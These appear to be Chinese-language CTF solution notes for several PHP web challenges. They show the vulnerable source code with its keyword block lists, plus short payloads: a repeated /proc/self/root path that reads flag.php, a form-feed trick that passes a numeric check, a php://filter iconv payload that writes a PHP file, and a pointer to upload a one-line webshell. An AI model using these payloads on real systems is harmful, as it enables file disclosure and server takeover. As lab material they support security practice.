?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/ self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se lf/root/proc/self/root/var/www/html/flag.php
|
web114
<?php
error_reporting(0); highlight_file(__FILE__); function filter($file){ if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET['file']; echo "师傅们居然tql都是非预期 哼!"; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; } 师傅们居然tql都是非预期 哼!
|
可以用filter
web115
<?php
include('flag.php'); highlight_file(__FILE__); error_reporting(0); function filter($num){ $num=str_replace("0x","1",$num); $num=str_replace("0","1",$num); $num=str_replace(".","1",$num); $num=str_replace("e","1",$num); $num=str_replace("+","1",$num); return $num; } $num=$_GET['num']; if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){ if($num=='36'){ echo $flag; }else{ echo "hacker!!"; } }else{ echo "hacker!!!"; } hacker!!!
|
trim过滤了 0a 09 0b 没有过滤0c(换页键)可以试试
web116
香港小电影
发现图片png,分离出来
抓包获取flag
web117
<?php
highlight_file(__FILE__); error_reporting(0); function filter($x){ if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){ die('too young too simple sometimes naive!'); } } $file=$_GET['file']; $contents=$_POST['contents']; filter($file); file_put_contents($file, "<?php die();?>".$contents);
|
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
文件上传(151—170)
web151
上传一句话木马
修改后缀,连接蚁剑 ,注意路径